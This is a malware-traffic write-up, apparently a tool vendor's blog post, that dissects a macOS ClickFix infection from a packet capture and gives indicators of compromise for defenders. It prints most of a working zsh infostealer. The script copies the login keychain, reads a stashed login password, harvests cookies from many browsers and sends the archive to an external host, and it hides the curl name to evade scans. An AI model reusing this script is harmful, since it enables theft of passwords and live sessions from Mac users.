How a macOS ClickFix Script Steals the Keychain and Every Browser Cookie: A PCAP Walk-Through

"Macs don't get malware" has been bad advice for a long time, and infostealer crews keep proving it. The capture in this walk-through is a tidy demonstration: one Mac, one fake "verification" page, one command pasted into Terminal, and a few minutes later the machine's login keychain and every browser cookie it holds are on their way to a server in the cloud. The sample comes from Brad Duncan's malware-traffic-analysis.net (2026-04-22), posted with no family name and no indicators - just the label "macOS malware infection from ClickFix script" and the file 2026-04-22-macOS-malware-infection-from-ClickFix-script.pcap (~30 MB, ~30,000 packets, 23 minutes of one Mac's afternoon, 19:40-20:03 UTC). I worked it entirely in A-Packets, in a browser tab, and every statement below ties back to a packet.

The Windows form of ClickFix is well documented: a fake CAPTCHA, Win+R, a pasted PowerShell line. The macOS variant changes the props and keeps the con. The page tells you to open Terminal and paste a "fix," and the instant you run it yourself, Gatekeeper, notarization, and the quarantine flag are all out of the loop - you gave the command permission. What arrives is not remote-control malware but a smash-and-grab credential thief, and it goes for the two stores that own a Mac user's online identity: the macOS login keychain and the cookie databases of every browser on the box. The rest of this post is how those 30 megabytes give up the attacker's exact zsh, one pivot at a time.

TL;DR

  • Capture: malware-traffic-analysis.net, 2026-04-22, 2026-04-22-macOS-malware-infection-from-ClickFix-script.pcap (~30 MB, ~30k packets).
  • Patient zero: a single Mac, 10.4.22.221 (MAC 1c:f6:4c:2d:32:e9, Apple, Inc.).
  • Likely family: a macOS infostealer delivered by ClickFix; the behaviour lines up with the Atomic macOS Stealer (AMOS) lineage that drives most of today's macOS ClickFix activity (held loosely - see the confidence note).
  • The giveaway: plain HTTP to a bare IP, 45.94.47.204, with User-Agent: curl/8.7.1. curl, not a browser, is talking to a task API in cleartext while the rest of the box runs Apple TLS.
  • The C2: a minimal task queue - POST /api/join/ to register, GET /api/tasks/<id>?v=1.4 to poll (it answers pong when idle), POST /api/tasks/ack to confirm.
  • The payload: a zsh script that copies login.keychain-db, reads the login password out of a fake .com.apple.accountsd/.auth file, drains cookies from ten Chromium browsers plus Firefox and Safari, zips the lot with ditto, and curls it to https://mpasvw.com/api/cookies.
  • Two channels: the tasking runs in cleartext HTTP (readable here); the stolen data exits over HTTPS to Cloudflare-fronted domains (encrypted - and that gap shapes what the PCAP can prove).
  • How it surfaced: no signature and no packet-by-packet slog - the HTTP request list, the method/content-type charts, the word cloud, and the raw payload view, in that order.

1. Thirty megabytes of mostly Apple

Wireshark HTTP requests by host for the macOS ClickFix capture, showing Apple hosts and a bare IP 45.94.47.204 serving /api/tasks
HTTP requests grouped by host: Apple and Google Safe Browsing traffic, plus one host with no name - 45.94.47.204 - serving /api/tasks/, /api/tasks/ack, and /api/join/.

A 30 MB capture from a single Mac is almost all noise, and the noise is loud and legitimate. Apple devices are chatty: configuration.apple.com, gdmf.apple.com, ocsp.digicert.com, init.itunes.apple.com, iCloud endpoints, Safe Browsing, mDNS service discovery. The DNS view alone carries 67 names, the overwhelming majority of them Apple infrastructure. None of it is malicious, and all of it is exactly the camouflage a stealer wants.

The HTTP request list cuts through it fast. Group the requests by host and the picture separates into buckets: Apple and CDN hosts doing their normal thing, and one host that has no business being there - 45.94.47.204, a bare IPv4 address with no DNS name, serving paths like /api/tasks/..., /api/tasks/ack, and /api/join/. A join-and-tasks API, on a raw IP, over port 80, in the middle of an Apple session. That is the whole case in one screen; the rest is confirmation.

2. The shape of the HTTP

A-Packets HTTP charts showing all 200 OK responses, mostly text/plain content, and GET-dominated method usage
HTTP method usage, response codes, and content types: all 200 OK, dominated by text/plain, almost entirely GET. That is an API on a timer, not web browsing.

Before reading a single payload, the HTTP charts describe the personality of this traffic, and it is not a personality a browser has. Every response is 200 OK - no 301s, no 404s, no 304 revalidations, none of the messy variety of real browsing. The content types are dominated by text/plain, with a sliver of application/x-www-form-urlencoded (the POST bodies) and application/ocsp-response (a certificate check). And the method mix is heavily GET, with a couple of POSTs and a single CONNECT.

Browsers fetch HTML, CSS, JavaScript, images, fonts - text/html, application/javascript, image/*. A workload that is all-GET, all-200, all-text/plain, repeating against one host, is a machine polling an endpoint on a schedule. That is the shape of a beacon, and the charts show it before you have read one byte of content.

3. curl is doing the talking

A-Packets HTTP methods view showing GET, POST and CONNECT, with the POST /api/join request to 45.94.47.204 using a curl user agent
The method breakdown: two POSTs (/api/join/ and /api/tasks/ack) and the repeated task GET. Every request to the bare IP carries User-Agent: curl/8.7.1.

The method breakdown gives up the next tell. The two POSTs are POST /api/join/ and POST /api/tasks/ack; the repeated GET is /api/tasks/H1psg3fzopfecROYi8Kdzg==?v=1.4. Open any of them and the request header that should not exist on a Mac is right at the top:

POST /api/join/ HTTP/1.1
Host: 45.94.47.204
User-Agent: curl/8.7.1
Accept: */*
Content-Length: 59
Content-Type: application/x-www-form-urlencoded

User-Agent: curl/8.7.1. Safari does not send that. Chrome does not send that. curl is a command-line tool, and on this Mac it is the thing registering with a C2 and polling it for work. (curl/8.7.1 ships with current macOS, which also quietly pins the victim to a recent build.) That one header reframes everything: this is not a person browsing, it is a script the person was tricked into running.

The /api/join registration request body with a base64 key, a Mac-serial-like identifier and version 1.4, and the 24-byte bot ID returned by the server
The /api/join/ handshake: a base64 fingerprint, a serial-like host ID, and the agent version go up; a 24-byte bot ID comes back.

The /api/join/ body is the registration handshake - three fields, 59 bytes:

BcymPdD8kYUFfEquLW6doFF5Q/E4N2quXp34oOcdsTA=
FF40665JVF
1.4

A base64 key/fingerprint, a host identifier that looks like a Mac hardware serial (FF40665JVF), and an agent version (1.4 - the same v=1.4 that rides on every task poll). The server - Server: nginx - answers with 24 bytes and nothing else:

H1psg3fzopfecROYi8Kdzg==

That string is the bot ID. From here on, every poll is GET /api/tasks/H1psg3fzopfecROYi8Kdzg==?v=1.4. The malware just got its name.

4. The word cloud nobody wants to see on a Mac

A-Packets word cloud of HTTP payloads with shell-script tokens s/.auth, h/.pass and h/library/application standing out among header tokens
The word cloud from HTTP content. Among the header tokens and the pong heartbeat, fragments of a shell script surface - s/.auth, h/.pass, h/library/application - none of which has any place in an HTTP response.

This is the pivot that turns a hunch into a verdict. The word cloud is nothing fancy - a frequency count of every string A-Packets pulled out of the HTTP headers and bodies, sized by how often it shows up. It is a fast way to see what a capture is "made of" without scrolling it. Most of the big tokens here are dull and expected: nginx, text/plain, accept-encoding, x-content-type-options, strict-origin-when-cross-origin, unsafe-inline, jsdelivr.net, the request-id UUIDs, and the pong that comes back on every idle poll.

And then, mixed in among them, are tokens that simply do not occur in web headers: s/.auth, h/.pass, h/library/application, dev/null, continue, for. Those are pieces of a shell script - a path to a hidden .auth file, a .pass file in the home directory, a for loop, output discarded to /dev/null. A web server has no business emitting shell syntax and a browser has no business receiving it, so the only way these strings land in HTTP bodies is if the machine pulled down a script over the wire and ran it in the open. Of the bunch, s/.auth is the one that should make a responder sit up - it is the precise trick this family uses to walk off with a Mac login password, which the next section reads out line by line.

5. The task: a zsh stealer in clear text

HTTP payload showing the task response from 45.94.47.204 - a zsh stealer script that copies the login keychain and reads the password from a fake accountsd .auth file
The task poll that finally returns a payload: execute;# tid=2929336 followed by a zsh script, served as text/plain from 45.94.47.204.

For most of the capture, the poll loop is boring on purpose: GET /api/tasks/... returns the 4-byte string pong, again and again. Then, about eighteen minutes in, one poll comes back with a real payload. The response is Content-Type: text/plain, and the body opens with a task header and a shebang:

execute;# tid=2929336
#!/bin/zsh
setopt nonomatch 2>/dev/null
D=/tmp/.ckr_$$
mkdir -p "$D/Chromium" "$D/Gecko" "$D/FileGrabber"
H="$HOME"

execute;# tid=2929336 is the queue telling the agent to run what follows; tid is the task ID it will acknowledge afterward. What follows is a compact, purpose-built macOS credential stealer. It stages a working directory under /tmp/.ckr_$$ and goes after three things in order. First, the keychain and the login password:

# Keychain + password
cp "$H/Library/Keychains/login.keychain-db" "$D/login.keychain-db" 2>/dev/null
S="$H/Library/Application Support/.com.apple.accountsd"
P=""
[ -f "$S/.auth" ] && P=$(cat "$S/.auth")
[ -z "$P" ] && [ -f "$H/.pass" ] && P=$(cat "$H/.pass")
[ -n "$P" ] && printf '%s' "$P" > "$D/pwd"

This is the part that makes macOS stealers dangerous, and it is worth slowing down on. login.keychain-db is the macOS login keychain - every Safari password, Wi-Fi key, certificate, and app secret the user saved, encrypted at rest with the account login password. Copy the keychain alone and you have an encrypted blob. But look at the next lines: the script reads the user's password from ~/Library/Application Support/.com.apple.accountsd/.auth, falling back to ~/.pass. Neither is an Apple file. accountsd is a real macOS daemon; .com.apple.accountsd with a leading dot is a hidden directory squatting on that name to look legitimate to anyone glancing at the filesystem. An earlier stage put the user's cleartext login password there - almost certainly via the fake "macOS needs your password" prompt that ClickFix lures throw up after the Terminal paste. Keychain plus password equals full offline decryption of everything in it.

Continuation of the macOS stealer script looping over Chrome, Brave, Edge, Opera, Vivaldi, Arc, Chromium, CocCoc and Yandex to copy browser cookies
The cookie sweep: the script loops over ten Chromium-family browsers, every profile in each, copying both the old and new cookie-store locations - then does the same for Firefox and Safari.

Second, browser cookies - from basically every browser a Mac might run:

# Chromium browsers
for B in \
  "Google/Chrome:Chrome" \
  "BraveSoftware/Brave-Browser:Brave" \
  "Microsoft Edge:Edge" \
  "com.operasoftware.Opera:Opera" \
  "Vivaldi:Vivaldi" \
  "Arc/User Data:Arc" \
  "Google/Chrome Canary:ChromeCanary" \
  "Chromium:Chromium" \
  "CocCoc/Browser:Coccoc" \
  "Yandex/YandexBrowser:Yandex"; do
  BP="${B%:*}";BN="${B##*:}"
  BD="$H/Library/Application Support/$BP"
  [ -d "$BD" ] || continue
  for PD in "$BD"/Default "$BD"/Profile\ *; do
    [ -d "$PD" ] || continue
    PN=$(basename "$PD")
    T="$D/Chromium/${BN}_${PN}"
    mkdir -p "$T"
    cp "$PD/Cookies" "$T/Cookies" 2>/dev/null
    cp "$PD/Network/Cookies" "$T/Cookies" 2>/dev/null
  done
done

Ten Chromium-family browsers, every profile in each, both the old and new cookie-store locations. The script then does the same for Firefox (cookies.sqlite in every profile) and Safari (Cookies.binarycookies, both the classic and the sandboxed-container path). Cookies are the prize because a live session cookie is a logged-in session - it sidesteps the password and the second factor entirely. Steal the cookie and you are the user, MFA already satisfied.

Third, package it up and ship it out:

# Archive and send
Z=/tmp/.ck_$$.zip
ditto -c -k --sequesterRsrc "$D" "$Z" 2>/dev/null
U=""
[ -f "$S/.session" ] && U=$(cat "$S/.session")
[ -z "$U" ] && [ -f "$H/.id" ] && U=$(cat "$H/.id")
C=cu;C=${C}rl
$C --connect-timeout 30 --max-time 120 -X POST \
  -H "bot_uid: $U" \
  -F "file=@$Z" \
  "https://mpasvw.com/api/cookies" 2>/dev/null

rm -rf "$D" "$Z"

ditto -c -k is the native macOS way to make a zip - no third-party tools, nothing to install. The exfil host is a different machine entirely: https://mpasvw.com/api/cookies, over HTTPS, with a bot_uid header pulled from that same fake-accountsd directory (.com.apple.accountsd/.session, falling back to ~/.id). And note the small piece of tradecraft: C=cu;C=${C}rl assembles the string "curl" from pieces, so a naive scan for the word curl in the script comes up empty. Then it deletes the staging directory and the archive. Run, exfil, clean up - the whole thing is built to leave nothing on disk worth finding.

6. The heartbeat, and the sixteen-minute wait

Wireshark Follow HTTP Stream showing the GET /api/tasks request and a 4-byte pong response from 45.94.47.204
An idle poll in Wireshark: GET /api/tasks/... answered by a 4-byte pong. Seventeen of these come back before the task lands.

Step back to the timing, because the beacon tells its own story. After registering about 1 minute 49 seconds into the capture, the agent polls /api/tasks/ every ~57 seconds. Seventeen of those polls return the same four bytes: pong. For roughly sixteen minutes the box is registered, online, and idle - waiting for an operator (or a queue) to give it something to do. Then on the eighteenth poll the task arrives, the stealer runs, and the very next request is POST /api/tasks/ack with the body uid=H1psg3fzopfecROYi8Kdzg==&id=2929336 - the bot confirming it finished task 2929336. The server replies ok, and the box goes back to pong.

That gap matters operationally. The cleartext C2 is a control plane, not the loot. An infected Mac can sit on pong indefinitely; the damage happens in the seconds after a task lands. If you are hunting this, the beacon is what you will see for hours - the theft is a brief spike inside it.

7. What the exfil looks like - and what this PCAP does not prove

It is worth drawing a hard line between what this capture proves and what it only points at. The control channel is settled - the registration, the task script, and the acknowledgement are all in cleartext, so I am quoting them rather than guessing. The exfiltration is not. It leaves for https://mpasvw.com/api/cookies over TLS, which means the payload on the wire is ciphertext and stays that way. What the capture does surrender is timing and volume: in the same second the task script arrives (~18 minutes in), a brand-new TLS session opens to mpasvw.com (behind Cloudflare) and the Mac pushes up a small archive. That tracks the ditto-then-curl tail of the script almost exactly - strong circumstantial support, but not a payload I can decrypt and put in front of you.

The same caution applies to the rest of the infrastructure, all of it Cloudflare-fronted and therefore TLS-only here. The capture opens on a request to arkypc.com - the first packet in the file - which is consistent with it being the ClickFix lure page the user landed on. Early in the session, before any task, the Mac pushes about 6 MB to lakhov.com; the volume and timing fit a first-stage bulk upload (documents, the keychain, an initial profile), but I cannot read it, so I will only call it a probable exfil. A second domain, filefastdata.com, is contacted in lockstep with api.ipify.org (a public-IP lookup) every ~60 seconds for the whole capture, which looks like a parallel telemetry or heartbeat channel over HTTPS. Pinning any of those to a definite role would take TLS fingerprints (JA3/JA4), SNI and certificate history, or artifacts off the host itself. On the strength of this PCAP alone, treat them as threads to pull, not conclusions to file.

Analyst note: the readable C2 and the encrypted exfil being on different hosts is by design, not accident. Block or alert only on 45.94.47.204 and you miss where the data actually went. The cleartext channel is the loudest part of this infection and the least valuable to the attacker - lose the task server and they re-task from another; lose the keychain and cookies and the victim re-secures dozens of accounts.

Reassembling the whole infection

Stitching the cleartext evidence together with what public reporting says about this wave, the run looks like this:

  1. The user lands on a ClickFix lure (consistent with arkypc.com, the first request in the capture) - a fake CAPTCHA or "fix this error" page.
  2. The page tells them to open Terminal and paste a command - the macOS equivalent of the Win+R trick, sidestepping Gatekeeper because the user runs it by hand.
  3. A first stage runs: it prompts for and stashes the login password in ~/Library/Application Support/.com.apple.accountsd/.auth, does an initial collection, and uploads ~6 MB (consistent with lakhov.com).
  4. The agent registers with the task C2 - POST /api/join/ to 45.94.47.204 - and starts polling /api/tasks/, visible in clear text by its curl/8.7.1 user agent.
  5. After ~16 minutes idle, the C2 pushes a zsh task: copy the login keychain, read the stashed password, sweep cookies from ten Chromium browsers plus Firefox and Safari.
  6. The script zips the haul with ditto and curls it to https://mpasvw.com/api/cookies, then POST /api/tasks/ack confirms the task and the beacon returns to pong.

What makes the capture worth keeping is that steps 4 through 6 - the verbatim stealer script included - play out in cleartext, even as the stolen data itself slips away inside TLS.

Indicators, artifacts, and confidence

  • Victim: 10.4.22.221, MAC 1c:f6:4c:2d:32:e9 (Apple, Inc.).
  • Task C2 (cleartext HTTP): 45.94.47.204:80, Server: nginx, endpoints /api/join/, /api/tasks/<id>?v=1.4, /api/tasks/ack.
  • Request tell: User-Agent: curl/8.7.1 on an HTTP API to a bare IP.
  • Identifiers: bot ID H1psg3fzopfecROYi8Kdzg==; host ID FF40665JVF; agent version 1.4; task ID 2929336.
  • Cookie exfil (HTTPS): mpasvw.com/api/cookies, with a bot_uid header.
  • Probable first-stage exfil (HTTPS, ~6 MB): lakhov.com.
  • Parallel beacon (HTTPS, ~60 s): filefastdata.com, paired with api.ipify.org IP lookups.
  • Likely lure (HTTPS, first request): arkypc.com. Also seen: ouilov.com.
  • Host artifacts to hunt: ~/Library/Application Support/.com.apple.accountsd/ (hidden; holds .auth / .session), /tmp/.ckr_*, /tmp/.ck_*.zip, ~/.pass, ~/.id.
  • Technique markers: login-keychain copy, fake-accountsd password stash, ditto -c -k archiving, C=cu;C=${C}rl string-splitting, multi-browser cookie sweep.
  • Confidence limits: the ClickFix-to-C2-to-stealer-task chain is confirmed in cleartext; the exfil contents and the precise role of the Cloudflare-fronted domains are inferred from timing and volume, not decrypted. The sample was not detonated here, and the family is named by behavior, not a hard signature.

Why this was minutes of triage, not hours

None of this was "the tool detected a stealer." Nothing in A-Packets stamped the capture AMOS, and a tool that respects the analyst should not. What it did was shrink the search space in a hurry. Each panel answered one question and pointed at the next: the HTTP request list ("who is this Mac actually talking to?") isolated the nameless IP; the method and content-type charts ("does that look like browsing?") said no - it looks like an API on a clock; the word cloud ("what is inside those bodies?") coughed up s/.auth; and the raw HTTP view handed over the script itself. Wireshark reaches the identical bytes - ip.addr == 45.94.47.204, follow the stream, sort by length - but the joining-up happens in your head. Reading the shape of a capture first and only then dropping to individual packets is just a faster opening lap, and fast opening laps are what A-Packets is built to give you.

A note on handling. This file is a scrubbed teaching sample from a public repository, so working it in the open is fine. Your own captures usually are not - live traffic tends to hold session tokens, auth cookies, internal host names, and slices of real payloads. Keep production and client PCAPs out of public mode; use a private workspace or an on-prem deployment for those.

Want to pull a capture of your own apart this fast?

Upload PCAP Free

No registration required for public analysis up to 25 MB. Use private plans or credit packs for sensitive captures.